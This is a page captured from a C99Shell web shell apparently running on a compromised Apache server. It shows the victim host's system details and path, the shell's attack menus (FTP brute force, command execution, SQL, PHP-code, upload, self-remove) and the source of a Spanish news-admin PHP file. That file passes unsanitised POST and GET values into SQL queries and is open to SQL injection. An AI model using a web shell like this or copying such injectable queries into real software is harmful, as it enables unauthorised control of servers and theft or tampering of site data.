!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.27 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     modificar-noticia.php (4.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
$pagina_actual
="administrar-noticias";
$categoria_actual="noticias";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");

if (isset(
$_POST["id"])){
    
    
extract($_POSTEXTR_SKIP);
    
    
$link_c=$video;
    
$video substr ($link_c1711);
    
    
$result=$mysqli->query("
    UPDATE noticia SET 
    fecha='"
.$fecha."',
    titulo='"
.str_replace( array('"'"'"'´''¨''“''”'), "&quot;",utf8_decode($titulo))."',
    copete='"
.str_replace( array('"'"'"'´''¨''“''”'), "&quot;",utf8_decode($copete))."',
    detalle='"
.str_replace( array('"'"'"'´''¨''“''”'), "&quot;",utf8_decode($detalle))."',
    video='
$video'
    WHERE id='
$id'
    "
);        
    
header('Location: administrar-noticias.php?exito=si');
}

if (isset(
$_GET["id"])){
    
$id=cadena_segura($_GET["id"],11);
    
    
$result=$mysqli->query("
    SELECT id, fecha, titulo, copete, detalle, id_categoria, ultimo_momento, inicio, video, encuesta
    FROM noticia
    WHERE id='
$id'
    "
);
    
$item mysqli_fetch_assoc($result);

    
$categorias_hojas=$mysqli->query("
    SELECT id, nombre
    FROM vista_categorias_hojas
    ORDER BY orden
"
);
?>
<div class="modal-content">
    <form method="post" action="modificar-noticia.php">
    <input type="hidden" name="id" value="<?=$id?>">
    <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title"></h4>
    </div>
    <div class="modal-body">

        <div class="row">

           <? /* <div class="form-group col-lg-6">
                <label>Categoría</label>
                <select class="form-control" name="id_categoria">
                    <? while ($categoria = mysqli_fetch_assoc($categorias_hojas)){?>
                    <option value="<?=$categoria["id"]?>" <?=$categoria["id"]==$item["id_categoria"]?"selected":""?>><?=utf8_encode($categoria["nombre"])?></option>
                    <? }?>
                </select>
            </div> */
?>


            <div class="form-group col-lg-6">
                <label>Fecha</label>
                <input class="form-control" name="fecha" type="date" required value="<?=$item["fecha"]?>">
            </div>  

        </div>
        
        <div class="form-group">
            <label>Título</label>
            <input class="form-control" name="titulo" value="<?=utf8_encode($item["titulo"])?>">
        </div>  
        
        <div class="form-group">
            <label>Copete</label>
            <textarea class="form-control" rows="3" name="copete"><?=utf8_encode($item["copete"])?></textarea>
        </div>    
        
        <div class="form-group">
            <label>Detalle</label>
            
            <? /*<textarea class="form-control summernote" rows="6" name="detalle"><?=utf8_encode($item["detalle"])?></textarea>*/?>
            <textarea class="form-control summernote" rows="6" name="detalle"><?=utf8_encode($item["detalle"])?></textarea>
        </div>
        <div class="form-group">
        <label>Video (ej: https://youtu.be/qsXfVdjPpFM)</label>
            <input class="form-control" name="video" <? if ($item["video"]!=""){?> value="https://youtu.be/<?=utf8_encode($item["video"])?><? }?>>
        </div>
<? /*
        <div class="form-group">
            <label>Video (ej: https://www.youtube.com/watch?v=ITj1o24V6uo)</label>
            <input class="form-control" name="video" value="<?=utf8_encode($item["video"])?>">
        </div> 

        <div class="row">

            <div class="form-group col-lg-4">
                <label>
                <input class="form-control" name="ultimo_momento" type="checkbox" <?=$item["ultimo_momento"]=="on"?"checked":"disabled"?>>Último momento
                </label>
            </div> 

            <div class="form-group col-lg-4">
                <label>
                <input class="form-control" name="inicio" type="checkbox" <?=$item["inicio"]=="on"?"checked":""?>>Inicio
                </label>
            </div>

            <div class="form-group col-lg-4">
                <label>
                <input class="form-control" name="encuesta" type="checkbox" <?=$item["encuesta"]=="on"?"checked":""?>>Encuesta
                </label>
            </div>

        </div>
*/
?>
    </div>
    <div class="modal-footer">
        <a href="#" class="btn btn-white" data-dismiss="modal">Cerrar</a>
        <input type="submit" class="btn btn-primary" value="Modificar">
    </div>
    </form>
</div><!-- /.modal-content -->
<? }?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0084 ]--